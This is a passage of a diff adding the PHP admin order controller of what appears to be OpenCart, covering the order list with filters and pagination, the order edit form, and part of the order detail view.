+ $filter_customer = '';
+ }
+
+ if (isset($this->request->get['filter_order_status'])) {
+ $filter_order_status = $this->request->get['filter_order_status'];
+ } else {
+ $filter_order_status = '';
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $filter_order_status_id = $this->request->get['filter_order_status_id'];
+ } else {
+ $filter_order_status_id = '';
+ }
+
+ if (isset($this->request->get['filter_total'])) {
+ $filter_total = $this->request->get['filter_total'];
+ } else {
+ $filter_total = '';
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $filter_date_added = $this->request->get['filter_date_added'];
+ } else {
+ $filter_date_added = '';
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $filter_date_modified = $this->request->get['filter_date_modified'];
+ } else {
+ $filter_date_modified = '';
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'o.order_id';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'DESC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_order_status'])) {
+ $url .= '&filter_order_status=' . $this->request->get['filter_order_status'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ if (isset($this->request->get['filter_total'])) {
+ $url .= '&filter_total=' . $this->request->get['filter_total'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['invoice'] = $this->url->link('sale/order/invoice', 'user_token=' . $this->session->data['user_token'], true);
+ $data['shipping'] = $this->url->link('sale/order/shipping', 'user_token=' . $this->session->data['user_token'], true);
+ $data['add'] = $this->url->link('sale/order/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = str_replace('&', '&', $this->url->link('sale/order/delete', 'user_token=' . $this->session->data['user_token'] . $url, true));
+
+ $data['orders'] = array();
+
+ $filter_data = array(
+ 'filter_order_id' => $filter_order_id,
+ 'filter_customer' => $filter_customer,
+ 'filter_order_status' => $filter_order_status,
+ 'filter_order_status_id' => $filter_order_status_id,
+ 'filter_total' => $filter_total,
+ 'filter_date_added' => $filter_date_added,
+ 'filter_date_modified' => $filter_date_modified,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $order_total = $this->model_sale_order->getTotalOrders($filter_data);
+
+ $results = $this->model_sale_order->getOrders($filter_data);
+
+ foreach ($results as $result) {
+ $data['orders'][] = array(
+ 'order_id' => $result['order_id'],
+ 'customer' => $result['customer'],
+ 'order_status' => $result['order_status'] ? $result['order_status'] : $this->language->get('text_missing'),
+ 'total' => $this->currency->format($result['total'], $result['currency_code'], $result['currency_value']),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'date_modified' => date($this->language->get('date_format_short'), strtotime($result['date_modified'])),
+ 'shipping_code' => $result['shipping_code'],
+ 'view' => $this->url->link('sale/order/info', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . $result['order_id'] . $url, true),
+ 'edit' => $this->url->link('sale/order/edit', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . $result['order_id'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_order_status'])) {
+ $url .= '&filter_order_status=' . $this->request->get['filter_order_status'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ if (isset($this->request->get['filter_total'])) {
+ $url .= '&filter_total=' . $this->request->get['filter_total'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_order'] = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . '&sort=o.order_id' . $url, true);
+ $data['sort_customer'] = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . '&sort=customer' . $url, true);
+ $data['sort_status'] = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . '&sort=order_status' . $url, true);
+ $data['sort_total'] = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . '&sort=o.total' . $url, true);
+ $data['sort_date_added'] = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . '&sort=o.date_added' . $url, true);
+ $data['sort_date_modified'] = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . '&sort=o.date_modified' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_order_status'])) {
+ $url .= '&filter_order_status=' . $this->request->get['filter_order_status'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ if (isset($this->request->get['filter_total'])) {
+ $url .= '&filter_total=' . $this->request->get['filter_total'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $order_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($order_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($order_total - $this->config->get('config_limit_admin'))) ? $order_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $order_total, ceil($order_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_order_id'] = $filter_order_id;
+ $data['filter_customer'] = $filter_customer;
+ $data['filter_order_status'] = $filter_order_status;
+ $data['filter_order_status_id'] = $filter_order_status_id;
+ $data['filter_total'] = $filter_total;
+ $data['filter_date_added'] = $filter_date_added;
+ $data['filter_date_modified'] = $filter_date_modified;
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ // API login
+ $data['catalog'] = $this->request->server['HTTPS'] ? HTTPS_CATALOG : HTTP_CATALOG;
+
+ // API login
+ $this->load->model('user/api');
+
+ $api_info = $this->model_user_api->getApi($this->config->get('config_api_id'));
+
+ if ($api_info && $this->user->hasPermission('modify', 'sale/order')) {
+ $session = new Session($this->config->get('session_engine'), $this->registry);
+
+ $session->start();
+
+ $this->model_user_api->deleteApiSessionBySessionId($session->getId());
+
+ $this->model_user_api->addApiSession($api_info['api_id'], $session->getId(), $this->request->server['REMOTE_ADDR']);
+
+ $session->data['api_id'] = $api_info['api_id'];
+
+ $data['api_token'] = $session->getId();
+ } else {
+ $data['api_token'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/order_list', $data));
+ }
+
+ public function getForm() {
+ $data['text_form'] = !isset($this->request->get['order_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_order_status'])) {
+ $url .= '&filter_order_status=' . $this->request->get['filter_order_status'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ if (isset($this->request->get['filter_total'])) {
+ $url .= '&filter_total=' . $this->request->get['filter_total'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['cancel'] = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['order_id'])) {
+ $order_info = $this->model_sale_order->getOrder($this->request->get['order_id']);
+ }
+
+ if (!empty($order_info)) {
+ $data['order_id'] = (int)$this->request->get['order_id'];
+ $data['store_id'] = $order_info['store_id'];
+ $data['store_url'] = $this->request->server['HTTPS'] ? HTTPS_CATALOG : HTTP_CATALOG;
+
+ $data['customer'] = $order_info['customer'];
+ $data['customer_id'] = $order_info['customer_id'];
+ $data['customer_group_id'] = $order_info['customer_group_id'];
+ $data['firstname'] = $order_info['firstname'];
+ $data['lastname'] = $order_info['lastname'];
+ $data['email'] = $order_info['email'];
+ $data['telephone'] = $order_info['telephone'];
+ $data['account_custom_field'] = $order_info['custom_field'];
+
+ $this->load->model('customer/customer');
+
+ $data['addresses'] = $this->model_customer_customer->getAddresses($order_info['customer_id']);
+
+ $data['payment_firstname'] = $order_info['payment_firstname'];
+ $data['payment_lastname'] = $order_info['payment_lastname'];
+ $data['payment_company'] = $order_info['payment_company'];
+ $data['payment_address_1'] = $order_info['payment_address_1'];
+ $data['payment_address_2'] = $order_info['payment_address_2'];
+ $data['payment_city'] = $order_info['payment_city'];
+ $data['payment_postcode'] = $order_info['payment_postcode'];
+ $data['payment_country_id'] = $order_info['payment_country_id'];
+ $data['payment_zone_id'] = $order_info['payment_zone_id'];
+ $data['payment_custom_field'] = $order_info['payment_custom_field'];
+ $data['payment_method'] = $order_info['payment_method'];
+ $data['payment_code'] = $order_info['payment_code'];
+
+ $data['shipping_firstname'] = $order_info['shipping_firstname'];
+ $data['shipping_lastname'] = $order_info['shipping_lastname'];
+ $data['shipping_company'] = $order_info['shipping_company'];
+ $data['shipping_address_1'] = $order_info['shipping_address_1'];
+ $data['shipping_address_2'] = $order_info['shipping_address_2'];
+ $data['shipping_city'] = $order_info['shipping_city'];
+ $data['shipping_postcode'] = $order_info['shipping_postcode'];
+ $data['shipping_country_id'] = $order_info['shipping_country_id'];
+ $data['shipping_zone_id'] = $order_info['shipping_zone_id'];
+ $data['shipping_custom_field'] = $order_info['shipping_custom_field'];
+ $data['shipping_method'] = $order_info['shipping_method'];
+ $data['shipping_code'] = $order_info['shipping_code'];
+
+ // Products
+ $data['order_products'] = array();
+
+ $products = $this->model_sale_order->getOrderProducts($this->request->get['order_id']);
+
+ foreach ($products as $product) {
+ $data['order_products'][] = array(
+ 'product_id' => $product['product_id'],
+ 'name' => $product['name'],
+ 'model' => $product['model'],
+ 'option' => $this->model_sale_order->getOrderOptions($this->request->get['order_id'], $product['order_product_id']),
+ 'quantity' => $product['quantity'],
+ 'price' => $product['price'],
+ 'total' => $product['total'],
+ 'reward' => $product['reward']
+ );
+ }
+
+ // Vouchers
+ $data['order_vouchers'] = $this->model_sale_order->getOrderVouchers($this->request->get['order_id']);
+
+ $data['coupon'] = '';
+ $data['voucher'] = '';
+ $data['reward'] = '';
+
+ $data['order_totals'] = array();
+
+ $order_totals = $this->model_sale_order->getOrderTotals($this->request->get['order_id']);
+
+ foreach ($order_totals as $order_total) {
+ // If coupon, voucher or reward points
+ $start = strpos($order_total['title'], '(') + 1;
+ $end = strrpos($order_total['title'], ')');
+
+ if ($start && $end) {
+ $data[$order_total['code']] = substr($order_total['title'], $start, $end - $start);
+ }
+ }
+
+ $data['order_status_id'] = $order_info['order_status_id'];
+ $data['comment'] = $order_info['comment'];
+ $data['affiliate_id'] = $order_info['affiliate_id'];
+ $data['affiliate'] = $order_info['affiliate_firstname'] . ' ' . $order_info['affiliate_lastname'];
+ $data['currency_code'] = $order_info['currency_code'];
+ } else {
+ $data['order_id'] = 0;
+ $data['store_id'] = 0;
+ $data['store_url'] = $this->request->server['HTTPS'] ? HTTPS_CATALOG : HTTP_CATALOG;
+
+ $data['customer'] = '';
+ $data['customer_id'] = '';
+ $data['customer_group_id'] = $this->config->get('config_customer_group_id');
+ $data['firstname'] = '';
+ $data['lastname'] = '';
+ $data['email'] = '';
+ $data['telephone'] = '';
+ $data['customer_custom_field'] = array();
+
+ $data['addresses'] = array();
+
+ $data['payment_firstname'] = '';
+ $data['payment_lastname'] = '';
+ $data['payment_company'] = '';
+ $data['payment_address_1'] = '';
+ $data['payment_address_2'] = '';
+ $data['payment_city'] = '';
+ $data['payment_postcode'] = '';
+ $data['payment_country_id'] = '';
+ $data['payment_zone_id'] = '';
+ $data['payment_custom_field'] = array();
+ $data['payment_method'] = '';
+ $data['payment_code'] = '';
+
+ $data['shipping_firstname'] = '';
+ $data['shipping_lastname'] = '';
+ $data['shipping_company'] = '';
+ $data['shipping_address_1'] = '';
+ $data['shipping_address_2'] = '';
+ $data['shipping_city'] = '';
+ $data['shipping_postcode'] = '';
+ $data['shipping_country_id'] = '';
+ $data['shipping_zone_id'] = '';
+ $data['shipping_custom_field'] = array();
+ $data['shipping_method'] = '';
+ $data['shipping_code'] = '';
+
+ $data['order_products'] = array();
+ $data['order_vouchers'] = array();
+ $data['order_totals'] = array();
+
+ $data['order_status_id'] = $this->config->get('config_order_status_id');
+ $data['comment'] = '';
+ $data['affiliate_id'] = '';
+ $data['affiliate'] = '';
+ $data['currency_code'] = $this->config->get('config_currency');
+
+ $data['coupon'] = '';
+ $data['voucher'] = '';
+ $data['reward'] = '';
+ }
+
+ // Stores
+ $this->load->model('setting/store');
+
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'store_id' => 0,
+ 'name' => $this->language->get('text_default')
+ );
+
+ $results = $this->model_setting_store->getStores();
+
+ foreach ($results as $result) {
+ $data['stores'][] = array(
+ 'store_id' => $result['store_id'],
+ 'name' => $result['name']
+ );
+ }
+
+ // Customer Groups
+ $this->load->model('customer/customer_group');
+
+ $data['customer_groups'] = $this->model_customer_customer_group->getCustomerGroups();
+
+ // Custom Fields
+ $this->load->model('customer/custom_field');
+
+ $data['custom_fields'] = array();
+
+ $filter_data = array(
+ 'sort' => 'cf.sort_order',
+ 'order' => 'ASC'
+ );
+
+ $custom_fields = $this->model_customer_custom_field->getCustomFields($filter_data);
+
+ foreach ($custom_fields as $custom_field) {
+ $data['custom_fields'][] = array(
+ 'custom_field_id' => $custom_field['custom_field_id'],
+ 'custom_field_value' => $this->model_customer_custom_field->getCustomFieldValues($custom_field['custom_field_id']),
+ 'name' => $custom_field['name'],
+ 'value' => $custom_field['value'],
+ 'type' => $custom_field['type'],
+ 'location' => $custom_field['location'],
+ 'sort_order' => $custom_field['sort_order']
+ );
+ }
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ $this->load->model('localisation/country');
+
+ $data['countries'] = $this->model_localisation_country->getCountries();
+
+ $this->load->model('localisation/currency');
+
+ $data['currencies'] = $this->model_localisation_currency->getCurrencies();
+
+ $data['voucher_min'] = $this->config->get('config_voucher_min');
+
+ $this->load->model('sale/voucher_theme');
+
+ $data['voucher_themes'] = $this->model_sale_voucher_theme->getVoucherThemes();
+
+ // API login
+ $data['catalog'] = $this->request->server['HTTPS'] ? HTTPS_CATALOG : HTTP_CATALOG;
+
+ // API login
+ $this->load->model('user/api');
+
+ $api_info = $this->model_user_api->getApi($this->config->get('config_api_id'));
+
+ if ($api_info && $this->user->hasPermission('modify', 'sale/order')) {
+ $session = new Session($this->config->get('session_engine'), $this->registry);
+
+ $session->start();
+
+ $this->model_user_api->deleteApiSessionBySessionId($session->getId());
+
+ $this->model_user_api->addApiSession($api_info['api_id'], $session->getId(), $this->request->server['REMOTE_ADDR']);
+
+ $session->data['api_id'] = $api_info['api_id'];
+
+ $data['api_token'] = $session->getId();
+ } else {
+ $data['api_token'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/order_form', $data));
+ }
+
+ public function info() {
+ $this->load->model('sale/order');
+
+ if (isset($this->request->get['order_id'])) {
+ $order_id = $this->request->get['order_id'];
+ } else {
+ $order_id = 0;
+ }
+
+ $order_info = $this->model_sale_order->getOrder($order_id);
+
+ if ($order_info) {
+ $this->load->language('sale/order');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['text_ip_add'] = sprintf($this->language->get('text_ip_add'), $this->request->server['REMOTE_ADDR']);
+ $data['text_order'] = sprintf($this->language->get('text_order'), $this->request->get['order_id']);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_order_status'])) {
+ $url .= '&filter_order_status=' . $this->request->get['filter_order_status'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ if (isset($this->request->get['filter_total'])) {
+ $url .= '&filter_total=' . $this->request->get['filter_total'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['shipping'] = $this->url->link('sale/order/shipping', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . (int)$this->request->get['order_id'], true);
+ $data['invoice'] = $this->url->link('sale/order/invoice', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . (int)$this->request->get['order_id'], true);
+ $data['edit'] = $this->url->link('sale/order/edit', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . (int)$this->request->get['order_id'], true);
+ $data['cancel'] = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['order_id'] = (int)$this->request->get['order_id'];
+
+ $data['store_id'] = $order_info['store_id'];
+ $data['store_name'] = $order_info['store_name'];
+
+ if ($order_info['store_id'] == 0) {
+ $data['store_url'] = $this->request->server['HTTPS'] ? HTTPS_CATALOG : HTTP_CATALOG;
+ } else {
+ $data['store_url'] = $order_info['store_url'];
+ }
+
+ if ($order_info['invoice_no']) {
+ $data['invoice_no'] = $order_info['invoice_prefix'] . $order_info['invoice_no'];
+ } else {
+ $data['invoice_no'] = '';
+ }
+
+ $data['date_added'] = date($this->language->get('date_format_short'), strtotime($order_info['date_added']));
+
+ $data['firstname'] = $order_info['firstname'];
+ $data['lastname'] = $order_info['lastname'];
+
+ if ($order_info['customer_id']) {
+ $data['customer'] = $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $order_info['customer_id'], true);
+ } else {
+ $data['customer'] = '';
+ }
+
+ $this->load->model('customer/customer_group');
+
+ $customer_group_info = $this->model_customer_customer_group->getCustomerGroup($order_info['customer_group_id']);
+
+ if ($customer_group_info) {
+ $data['customer_group'] = $customer_group_info['name'];
+ } else {
+ $data['customer_group'] = '';
+ }
+
+ $data['email'] = $order_info['email'];
+ $data['telephone'] = $order_info['telephone'];
+
+ $data['shipping_method'] = $order_info['shipping_method'];
+ $data['payment_method'] = $order_info['payment_method'];
+
+ // Payment Address
+ if ($order_info['payment_address_format']) {
+ $format = $order_info['payment_address_format'];
+ } else {
+ $format = '{firstname} {lastname}' . "\n" . '{company}' . "\n" . '{address_1}' . "\n" . '{address_2}' . "\n" . '{city} {postcode}' . "\n" . '{zone}' . "\n" . '{country}';
+ }
+
+ $find = array(
+ '{firstname}',
+ '{lastname}',
+ '{company}',
+ '{address_1}',
+ '{address_2}',
+ '{city}',
+ '{postcode}',
+ '{zone}',
+ '{zone_code}',
+ '{country}'
+ );
+
+ $replace = array(
+ 'firstname' => $order_info['payment_firstname'],
+ 'lastname' => $order_info['payment_lastname'],
+ 'company' => $order_info['payment_company'],
+ 'address_1' => $order_info['payment_address_1'],
+ 'address_2' => $order_info['payment_address_2'],
+ 'city' => $order_info['payment_city'],
+ 'postcode' => $order_info['payment_postcode'],
+ 'zone' => $order_info['payment_zone'],
+ 'zone_code' => $order_info['payment_zone_code'],
+ 'country' => $order_info['payment_country']
+ );
+
+ $data['payment_address'] = str_replace(array("\r\n", "\r", "\n"), ' ', preg_replace(array("/\s\s+/", "/\r\r+/", "/\n\n+/"), ' ', trim(str_replace($find, $replace, $format))));
+
+ // Shipping Address
+ if ($order_info['shipping_address_format']) {
+ $format = $order_info['shipping_address_format'];
+ } else {
+ $format = '{firstname} {lastname}' . "\n" . '{company}' . "\n" . '{address_1}' . "\n" . '{address_2}' . "\n" . '{city} {postcode}' . "\n" . '{zone}' . "\n" . '{country}';
+ }
+
+ $find = array(
+ '{firstname}',
+ '{lastname}',
+ '{company}',
+ '{address_1}',
+ '{address_2}',
+ '{city}',
+ '{postcode}',
+ '{zone}',
+ '{zone_code}',
+ '{country}'
+ );
+
+ $replace = array(
+ 'firstname' => $order_info['shipping_firstname'],
+ 'lastname' => $order_info['shipping_lastname'],
+ 'company' => $order_info['shipping_company'],
+ 'address_1' => $order_info['shipping_address_1'],
+ 'address_2' => $order_info['shipping_address_2'],
+ 'city' => $order_info['shipping_city'],
+ 'postcode' => $order_info['shipping_postcode'],
+ 'zone' => $order_info['shipping_zone'],
+ 'zone_code' => $order_info['shipping_zone_code'],
+ 'country' => $order_info['shipping_country']
+ );
+
+ $data['shipping_address'] = str_replace(array("\r\n", "\r", "\n"), ' ', preg_replace(array("/\s\s+/", "/\r\r+/", "/\n\n+/"), ' ', trim(str_replace($find, $replace, $format))));
+
+ // Uploaded files
+ $this->load->model('tool/upload');
+
+ $data['products'] = array();
+
+ $products = $this->model_sale_order->getOrderProducts($this->request->get['order_id']);
+
+ foreach ($products as $product) {
+ $option_data = array();
+
+ $options = $this->model_sale_order->getOrderOptions($this->request->get['order_id'], $product['order_product_id']);
+
+ foreach ($options as $option) {
+ if ($option['type'] != 'file') {
+ $option_data[] = array(
+ 'name' => $option['name'],
+ 'value' => $option['value'],
+ 'type' => $option['type']
+ );
+ } else {
+ $upload_info = $this->model_tool_upload->getUploadByCode($option['value']);
+
+ if ($upload_info) {
+ $option_data[] = array(
+ 'name' => $option['name'],
+ 'value' => $upload_info['name'],
+ 'type' => $option['type'],
+ 'href' => $this->url->link('tool/upload/download', 'user_token=' . $this->session->data['user_token'] . '&code=' . $upload_info['code'], true)
+ );
+ }
+ }
+ }
+
+ $data['products'][] = array(
+ 'order_product_id' => $product['order_product_id'],
+ 'product_id' => $product['product_id'],
+ 'name' => $product['name'],
+ 'model' => $product['model'],
+ 'option' => $option_data,
+ 'quantity' => $product['quantity'],
+ 'price' => $this->currency->format($product['price'] + ($this->config->get('config_tax') ? $product['tax'] : 0), $order_info['currency_code'], $order_info['currency_value']),
+ 'total' => $this->currency->format($product['total'] + ($this->config->get('config_tax') ? ($product['tax'] * $product['quantity']) : 0), $order_info['currency_code'], $order_info['currency_value']),
+ 'href' => $this->url->link('catalog/product/edit', 'user_token=' . $this->session->data['user_token'] . '&product_id=' . $product['product_id'], true)
+ );
+ }
+
+ $data['vouchers'] = array();
+
+ $vouchers = $this->model_sale_order->getOrderVouchers($this->request->get['order_id']);
+
+ foreach ($vouchers as $voucher) {
+ $data['vouchers'][] = array(
+ 'description' => $voucher['description'],
+ 'amount' => $this->currency->format($voucher['amount'], $order_info['currency_code'], $order_info['currency_value']),
+ 'href' => $this->url->link('sale/voucher/edit', 'user_token=' . $this->session->data['user_token'] . '&voucher_id=' . $voucher['voucher_id'], true)
+ );
+ }
+
+ $data['totals'] = array();
+
+ $totals = $this->model_sale_order->getOrderTotals($this->request->get['order_id']);
+
+ foreach ($totals as $total) {
+ $data['totals'][] = array(
+ 'title' => $total['title'],
+ 'text' => $this->currency->format($total['value'], $order_info['currency_code'], $order_info['currency_value'])
+ );
+ }
+
+ $data['comment'] = nl2br($order_info['comment']);
+
+ $this->load->model('customer/customer');
+
+ $data['reward'] = $order_info['reward'];
+
+ $data['reward_total'] = $this->model_customer_customer->getTotalCustomerRewardsByOrderId($this->request->get['order_id']);
+
+ $data['affiliate_firstname'] = $order_info['affiliate_firstname'];
+ $data['affiliate_lastname'] = $order_info['affiliate_lastname'];
+
+ if ($order_info['affiliate_id']) {
+ $data['affiliate'] = $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $order_info['affiliate_id'], true);
+ } else {
+ $data['affiliate'] = '';
+ }
+
+ $data['commission'] = $this->currency->format($order_info['commission'], $order_info['currency_code'], $order_info['currency_value']);
+
+ $data['commission_total'] = $this->model_customer_customer->getTotalTransactionsByOrderId($this->request->get['order_id']);
+
+ $this->load->model('localisation/order_status');
+
+ $order_status_info = $this->model_localisation_order_status->getOrderStatus($order_info['order_status_id']);
+
